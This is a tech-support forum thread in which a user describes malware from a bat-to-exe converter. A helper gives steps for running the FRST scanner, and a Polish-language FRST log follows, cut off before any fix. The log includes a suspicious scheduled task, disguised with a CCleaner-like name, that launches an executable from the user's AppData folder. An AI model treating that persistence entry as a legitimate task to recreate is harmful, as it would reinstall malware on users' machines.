• Hi there and welcome to PC Help Forum (PCHF), a more effective way to get the Tech Support you need!
    We have Experts in all areas of Tech, including Malware Removal, Crash Fixing and BSOD's , Microsoft Windows, Computer DIY and PC Hardware, Networking, Gaming, Tablets and iPads, General and Specific Software Support and so much more.

    Why not Click Here To Sign Up and start enjoying great FREE Tech Support.

    This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Solved Virus.

Status
Not open for further replies.

Exyztence

PCHF Member
Apr 11, 2020
126
0
27
Hello.
I am writing again in this forum and thanks in advance for every reply. Also, I don't know if this is the right section, if not, please move the post.
Recently I was looking for a certain program that converts .bat files to .exe. A friend sent me a first-served one that he found on the Internet and unfortunately, it turned out to be a virus. Currently, from time to time something like the screenshot opens to me. Fortunately, this "cmd" tries to open a page, but anti-virus blocks it. I checked it on a virtual machine and it doesn't exist anymore (this website), so I think the "virus" is out of date. Unfortunately, this window pops up every 2-3 hours and it is very onerous. Is there any way to remove this? My antivirus is ESET Nod, I also tried Malwarebytes.
Greetings,
Oliwier.
 

Attachments

  • 123.png
    123.png
    68.4 KB · Views: 4,215
Hi ther @Exyztence and welcome.
Please do the following for me please.
Please download the FRST 32 bit or FRST 64bit version to suit your operating system. It is important FRST is downloaded to your desktop.
If you are unsure if your operating system is 32 or 64 Bit please go HERE.
Once downloaded right click the FRST desktop icon and select "Run as administrator" from the menu.

icon2-jpg.794

If you receive any security warnings, or the User Account Control warning opens at any time whilst using FRST you can safely allow FRST to proceed.
Frst will open with two dialogue boxes, accept the disclaimer.

frst-disclaimer-jpg.795

Accept the default whitelist options,
If the additions.txt options box is not checked please select it.
Then select "Scan"

frst-jpg.796

Frst will take a few minutes to scan your computer, and when finished will produce two log files on your desktop, FRST.txt, and Addition.txt. They will display immediately on the desktop, but can be reopened later as a notepad file.

2016-08-12_152002-jpg.797

Please Copy and Paste the contents of these logs in your next post for review by our Security Team
 
  • Like
Reactions: Exyztence
Code:
                                                                                                                                                                                                                                  FRST:
  
Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x64) Wersja: 05-08-2020
Uruchomiony przez Oliwer (administrator)  DESKTOP-R2QR190 (Micro-Star International Co., Ltd. MS-7B17) (07-08-2020 01:08:31)
Uruchomiony z C:\Users\Oliwer\Downloads
Załadowane profile: Oliwer
Platform: Windows 10 Pro Wersja 1909 18363.959 (X64) Język: Polish (Poland)
Domyślna przeglądarka: Chrome
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(A-Volute -> Nahimic) C:\Windows\System32\NahimicService.exe
(Discord Inc. -> Discord Inc.) C:\Users\Oliwer\AppData\Local\Discord\app-0.0.307\Discord.exe <4>
(Discord Inc. -> GitHub) C:\Users\Oliwer\AppData\Local\Discord\Update.exe
(ESET, spol. s r.o. -> ESET) C:\Program Files\ESET\ESET Security\eguiProxy.exe
(ESET, spol. s r.o. -> ESET) C:\Program Files\ESET\ESET Security\ekrn.exe
(Google LLC -> Google LLC) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe <18>
(Google LLC -> Google LLC) C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler.exe
(Google LLC -> Google LLC) C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler64.exe
(IDSA Production signing key -> Intel) C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAService.exe
(IDSA Production signing key -> Intel) C:\Program Files (x86)\Intel\Driver and Support Assistant\DSATray.exe
(IDSA Production signing key -> Intel) C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAUpdateService.exe
(INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.2731.0_x64__8j3eq9eme6ctt\GCP.ML.BackgroundSysTray\IGCCTray.exe
(INTEL CORP) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.2731.0_x64__8j3eq9eme6ctt\IGCC.exe
(Intel Corporation -> Intel(R) Corporation) C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe
(Intel Corporation -> Intel(R) Corporation) C:\Program Files\Intel\WiFi\bin\EvtEng.exe
(Intel Corporation -> Intel® Corporation) C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe
(Intel(R) Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Windows\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel(R) Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\dal.inf_amd64_d52c63e0e1c02c96\jhi_service.exe
(Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igcc_dch.inf_amd64_553b9a82ff9cf770\OneApp.IGCC.WinService.exe
(Intel(R) pGFX 2020 -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_352025668c124c7e\IntelCpHDCPSvc.exe
(Intel(R) Software Development Products -> ) C:\Program Files\Intel\SUR\QUEENCREEK\SurSvc.exe
(Intel(R) Software Development Products -> ) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv.exe
(Intel(R) Software Development Products -> ) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe
(Intel(R) Wireless Connectivity Solutions -> Intel Corporation) C:\Windows\System32\ibtsiva.exe
(Logitech Inc -> Logitech) C:\Program Files\Logitech\LogiCapture\bin\Service\LogiFacecamService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft GameInput\x64\gameinputsvc.exe <2>
(Microsoft Corporation -> Microsoft Corporation) C:\Users\Oliwer\AppData\Local\Microsoft\OneDrive\OneDrive.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.GamingServices_2.43.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.GamingServices_2.43.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\wlanext.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.18362.957_none_5f2e9e6258ea82f2\TiWorker.exe
(MICRO-STAR INTERNATIONAL CO., LTD. -> MSI) C:\Windows\SysWOW64\muachost.exe <4>
(ND_Apps -> Intel Corporation) C:\Windows\System32\IPROSetMonitor.exe
(NVIDIA Corporation -> Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe <3>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe <3>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_edab19158bdd0d0a\Display.NvContainer\NVDisplay.Container.exe <2>
(Oracle America, Inc. -> Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(philandro Software GmbH -> philandro Software GmbH) C:\Program Files (x86)\AnyDesk\AnyDesk.exe
(Razer USA Ltd. -> ) C:\Program Files (x86)\Razer\Synapse3\UserProcess\Razer Synapse Service Process.exe
(Razer USA Ltd. -> Razer Inc) C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKServer.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Razer Services\Razer Central\Razer Central.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe
(Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Synapse3\WPFUI\Framework\Razer Synapse 3 Host\Razer Synapse 3.exe
(Razer USA Ltd. -> The CefSharp Authors) C:\Program Files (x86)\Razer\Razer Services\Razer Central\CefSharp.BrowserSubprocess.exe <2>
(Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\RtkAudUService64.exe <2>
(TeamSpeak Systems GmbH -> TeamSpeak Systems GmbH) C:\Users\Oliwer\AppData\Local\TeamSpeak 3 Client\ts3client_win64.exe <2>
(Valve -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(Valve -> Valve Corporation) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe <7>
(Valve -> Valve Corporation) C:\Program Files (x86)\Steam\steam.exe

==================== Rejestr (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [Logitech Download Assistant] => C:\Windows\System32\LogiLDA.dll [3951968 2019-07-09] (Logitech -> Logitech, Inc.)
HKLM\...\Run: [RtkAudUService] => C:\Windows\System32\RtkAudUService64.exe [1093352 2020-03-11] (Realtek Semiconductor Corp. -> Realtek Semiconductor)
HKLM\...\Run: [egui] => C:\Program Files\ESET\ESET Security\ecmds.exe [185648 2020-07-23] (ESET, spol. s r.o. -> ESET)
HKLM-x32\...\Run: [Lightshot] => C:\Program Files (x86)\Skillbrains\lightshot\Lightshot.exe [226728 2019-07-21] (Kilonova LLC -> )
HKLM-x32\...\Run: [ZaAntiRansomware] => "C:\Program Files (x86)\CheckPoint\Endpoint Security\TPCommon\Cipolla\ZAAR.exe"
HKLM-x32\...\Run: [Intel Driver & Support Assistant] => C:\Program Files (x86)\Intel\Driver and Support Assistant\DSATray.exe [284520 2020-07-31] (IDSA Production signing key -> Intel)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [710264 2020-06-18] (Oracle America, Inc. -> Oracle Corporation)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [Discord] => C:\Users\Oliwer\AppData\Local\Discord\app-0.0.307\Discord.exe [91023672 2020-08-04] (Discord Inc. -> Discord Inc.)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3377440 2020-07-31] (Valve -> Valve Corporation)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [com.squirrel.Teams.Teams] => C:\Users\Oliwer\AppData\Local\Microsoft\Teams\Update.exe [2350776 2020-06-07] (Microsoft 3rd Party Application Component -> Microsoft Corporation)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [GoogleChromeAutoLaunch_0F1C941C8B515C4000F936B907114869] => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [EpicGamesLauncher] => C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [32406416 2020-07-28] (Epic Games Inc. -> Epic Games, Inc.)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\Run: [Synapse3] => C:\Program Files (x86)\Razer\Synapse3\WPFUI\Framework\Razer Synapse 3 Host\Razer Synapse 3.exe [3513072 2020-07-23] (Razer USA Ltd. -> Razer Inc.)
HKU\S-1-5-21-1642851741-75968240-96692541-1001\...\RunOnce: [Application Restart #1] => C:\Windows\SysWOW64\muachost.exe [1692840 2015-08-18] (MICRO-STAR INTERNATIONAL CO., LTD. -> MSI)
HKU\S-1-5-18\...\Run: [Synapse3] => C:\Program Files (x86)\Razer\Synapse3\WPFUI\Framework\Razer Synapse 3 Host\Razer Synapse 3.exe [3513072 2020-07-23] (Razer USA Ltd. -> Razer Inc.)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.105\Installer\chrmstp.exe [2020-07-29] (Google LLC -> Google LLC)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\AnyDesk.lnk [2020-06-23]
ShortcutTarget: AnyDesk.lnk -> C:\Program Files (x86)\AnyDesk\AnyDesk.exe (philandro Software GmbH -> philandro Software GmbH)
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA

==================== Zaplanowane zadania (filtrowane) ============

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

Task: {050933CD-0398-4442-9DF1-788196819523} - System32\Tasks\CreateExplorerShellUnelevatedTask => C:\Windows\explorer.exe /NOUACCHECK
Task: {126192C3-98D5-4C0A-8337-09D4F880BB94} - System32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132 => C:\Program Files\Intel\SUR\QUEENCREEK\Updater\bin\IntelSoftwareAssetManagerService.exe [3087184 2020-03-10] (Intel(R) Software Development Products -> Intel Corporation)
Task: {139DEB00-DEE5-42F1-A723-615CCBA8D0E2} - System32\Tasks\Tweaking.com - Windows Repair Tray Icon => C:\Program Files (x86)\Tweaking.com\Windows Repair (All in One)\WR_Tray_Icon.exe
Task: {2B40976B-1BEA-4F49-B0A9-151B52EE7912} - System32\Tasks\Opera GX scheduled Autoupdate 1589124043 => C:\Users\Oliwer\AppData\Local\Programs\Opera GX\launcher.exe
Task: {3746E607-BC50-4EDE-9F3F-93550E4EE9A1} - System32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon => C:\Program Files\Intel\SUR\QUEENCREEK\Updater\bin\IntelSoftwareAssetManagerService.exe [3087184 2020-03-10] (Intel(R) Software Development Products -> Intel Corporation)
Task: {40FE53A6-E399-4A5E-B5BE-E6517A430E84} - System32\Tasks\CClaner optimize => cmd /c start %appdata%\mc.exe
Task: {4EBEB474-819A-4A35-A995-0A596FB7533C} - System32\Tasks\NvTmRep_CrashReport2_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvBackend\NvTmRep.exe [1126888 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {51249E53-893C-4080-B401-80718F468F10} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [3292984 2020-06-25] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {5CBDD3F3-8D8A-4E39-95D5-13EFA0BFE6D0} - System32\Tasks\NvTmRep_CrashReport4_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvBackend\NvTmRep.exe [1126888 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {620F8EA6-DDAA-4F6D-AB9D-0465FDA34E7B} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156104 2020-05-07] (Google LLC -> Google LLC)
Task: {6B0C1A53-8DF0-457D-9411-85D5E11E351C} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [647656 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {8DA798E7-CCDF-46F6-87ED-D144A5A47A7E} - System32\Tasks\update-sys => C:\Program Files (x86)\Skillbrains\Updater\Updater.exe [414872 2017-04-12] (OOO Lightshot -> TODO: <Company name>)
Task: {9837C0D4-FD20-4F6B-958B-1FF2116668DA} - System32\Tasks\update-S-1-5-21-1642851741-75968240-96692541-1001 => C:\Program Files (x86)\Skillbrains\Updater\Updater.exe [414872 2017-04-12] (OOO Lightshot -> TODO: <Company name>)
Task: {A12D22EE-9B54-463B-9865-48173B572340} - System32\Tasks\npcapwatchdog => C:\Program Files\Npcap\CheckStatus.bat [862 2019-04-30] () [Brak podpisu cyfrowego]
Task: {AB6D636C-0B04-4B86-AFE2-A785C578A6EC} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [907240 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {B584A3DA-DDC2-4FD8-A59E-B4E63A2D7371} - System32\Tasks\Intel PTT EK Recertification => C:\Windows\System32\DriverStore\FileRepository\iclsclient.inf_amd64_50ab1659f9152c0f\lib\IntelPTTEKRecertification.exe [938760 2019-11-12] (Intel(R) Trust Services -> Intel(R) Corporation)
Task: {B7AB6303-CC6A-474D-9C86-55F703F8273E} - System32\Tasks\MSISW_Host => C:\Windows\SysWOW64\muachost.exe [1692840 2015-08-18] (MICRO-STAR INTERNATIONAL CO., LTD. -> MSI)
Task: {BDCAAC9D-9F47-41F2-A1D3-0A72155BBED6} - System32\Tasks\NvTmRep_CrashReport3_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvBackend\NvTmRep.exe [1126888 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {C2BD10F8-A873-4A96-AF02-E1C4852301C8} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {D45C14C8-83FF-4327-A958-FA9AFFA17311} - System32\Tasks\USER_ESRV_SVC_QUEENCREEK => "C:\Windows\System32\Wscript.exe" //B //NoLogo "C:\Program Files\Intel\SUR\QUEENCREEK\x64\task.vbs"
Task: {D870D50E-3CDA-4ADB-A904-A22FB3FC953F} - System32\Tasks\NvTmRep_CrashReport1_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvBackend\NvTmRep.exe [1126888 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {DDE4C2D0-0E2D-4FE9-AC3B-AE074755AE73} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [907240 2020-06-23] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {DDE97CF6-389E-4B40-9AEF-DC5AE8371947} - System32\Tasks\NvBatteryBoostCheckOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [874472 2020-05-07] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {E507D36D-78AD-43C5-A881-A36CCB9C08CA} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [874472 2020-05-07] (NVIDIA Corporation -> NVIDIA Corporation)
Task: {E77563B6-1E27-43CF-AB06-F9549762110E} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156104 2020-05-07] (Google LLC -> Google LLC)

(Załączenie wejścia w fixlist spowoduje przesunięcie pliku zadania (.job). Plik uruchamiany docelowo przez zadanie nie zostanie przeniesiony.)

Task: C:\Windows\Tasks\CreateExplorerShellUnelevatedTask.job => C:\Windows\explorer.exe
Task: C:\Windows\Tasks\update-S-1-5-21-1642851741-75968240-96692541-1001.job => C:\Program Files (x86)\Skillbrains\Updater\Updater.exe
Task: C:\Windows\Tasks\update-sys.job => C:\Program Files (x86)\Skillbrains\Updater\Updater.exe

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.99
Tcpip\..\Interfaces\{255c66d3-f427-4000-a349-7da7fbf1ec7f}: [DhcpNameServer] 192.168.1.99
Tcpip\..\Interfaces\{64dc83a6-ccb6-435b-b1c8-b3336a419026}: [DhcpNameServer] 192.168.1.99

Internet Explorer:
==================
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Ograniczenia <==== UWAGA
BHO: IEToEdge BHO -> {1FD49718-1D00-4B19-AF5F-070AF6D5D54C} -> C:\Program Files (x86)\Microsoft\Edge\Application\84.0.522.52\BHO\ie_to_edge_bho_64.dll [2020-08-01] (Microsoft Corporation -> Microsoft Corporation)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_261\bin\ssv.dll [2020-08-06] (Oracle America, Inc. -> Oracle Corporation)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2013-03-06] (Microsoft Corporation -> Microsoft Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_261\bin\jp2ssv.dll [2020-08-06] (Oracle America, Inc. -> Oracle Corporation)
BHO-x32: IEToEdge BHO -> {1FD49718-1D00-4B19-AF5F-070AF6D5D54C} -> C:\Program Files (x86)\Microsoft\Edge\Application\84.0.522.52\BHO\ie_to_edge_bho.dll [2020-08-01] (Microsoft Corporation -> Microsoft Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2013-03-06] (Microsoft Corporation -> Microsoft Corporation)

Edge:
======
Edge Profile: C:\Users\Oliwer\AppData\Local\Microsoft\Edge\User Data\Default [2020-08-02]

FireFox:
========
FF DefaultProfile: oy0y44ey.default
FF ProfilePath: C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\oy0y44ey.default [2020-04-13]
FF ProfilePath: C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release [2020-05-07]
FF Extension: (Grammarly for Firefox) - C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release\Extensions\87677a2c52b84ad3a151a4a72f5bd3c4@jetpack.xpi [2020-04-23]
FF Extension: (Browsec VPN - Free and Unlimited VPN) - C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release\Extensions\browsec@browsec.com.xpi [2020-04-24]
FF Extension: (BetterTTV) - C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release\Extensions\firefox@betterttv.net.xpi [2020-04-20]
FF Extension: (Honey) - C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release\Extensions\jid1-93CWPmRbVPjRQA@jetpack.xpi [2020-05-01]
FF Extension: (AdBlock — best ad blocker) - C:\Users\Oliwer\AppData\Roaming\Mozilla\Firefox\Profiles\wb4ithd7.default-release\Extensions\jid1-NIfFY2CA8fy1tg@jetpack.xpi [2020-04-13]
FF Plugin: @java.com/DTPlugin,version=11.261.2 -> C:\Program Files\Java\jre1.8.0_261\bin\dtplugin\npDeployJava1.dll [2020-08-06] (Oracle America, Inc. -> Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.261.2 -> C:\Program Files\Java\jre1.8.0_261\bin\plugin2\npjp2.dll [2020-08-06] (Oracle America, Inc. -> Oracle Corporation)
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation -> Microsoft Corporation)

Chrome:
=======
CHR Profile: C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default [2020-08-07]
CHR Extension: (Easy Auto Refresh) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\aabcgdmkeabbnleenpncegpcngjpnjkc [2020-06-22]
CHR Extension: (Prezentacje) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2020-05-07]
CHR Extension: (BetterTTV) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\ajopnjidmegmdimjlfnijceegpefgped [2020-08-02]
CHR Extension: (Dokumenty) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2020-05-07]
CHR Extension: (Dysk Google) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2020-05-07]
CHR Extension: (YouTube) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2020-05-07]
CHR Extension: (Honey) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\bmnlcjabgnpnenekpadlanbbkooimhnj [2020-07-28]
CHR Extension: (Steam Inventory Helper) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\cmeakgjggjdlcpncigglobpjbkabhmjl [2020-08-05]
CHR Extension: (FrankerFaceZ) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\fadndhdgpmmaapbmfcknlfgcflmmmieb [2020-06-09]
CHR Extension: (Arkusze) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2020-05-07]
CHR Extension: (React Developer Tools) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\fmkadmapgofadopljbjfkapdkoienihi [2020-07-16]
CHR Extension: (Project Centurion AG) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfmlilhophdchbdmihgdiphkkeeepecj [2020-06-25]
CHR Extension: (Dokumenty Google offline) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2020-08-05]
CHR Extension: (AdBlock — best ad blocker) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2020-07-31]
CHR Extension: (LOOT.Farm helper) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\iljnangbjcpnopeaebpckiljkapfcakl [2020-07-19]
CHR Extension: (Grammarly for Chrome) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\kbfnbcaeplbcioakkpcpgfkobkghlhen [2020-07-31]
CHR Extension: (FACEIT Enhancer) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\mokknliiomknodkdmpcellamkopbdmao [2020-07-27]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2020-05-07]
CHR Extension: (Browsec VPN - Free and Unlimited VPN) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\omghfjlpggmjjaagoclmmobgdodcjboh [2020-08-04]
CHR Extension: (YT-Encrypt) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\pcihlmcbnllaghbgjddinocpdcpfecbm [2020-07-11]
CHR Extension: (SAG) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\piljlfgibadchadlhlcfoecfbpdeiemd [2020-06-25]
CHR Extension: (Gmail) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2020-05-07]
CHR Extension: (Chrome Media Router) - C:\Users\Oliwer\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2020-07-22]

==================== Usługi (filtrowane) ===================

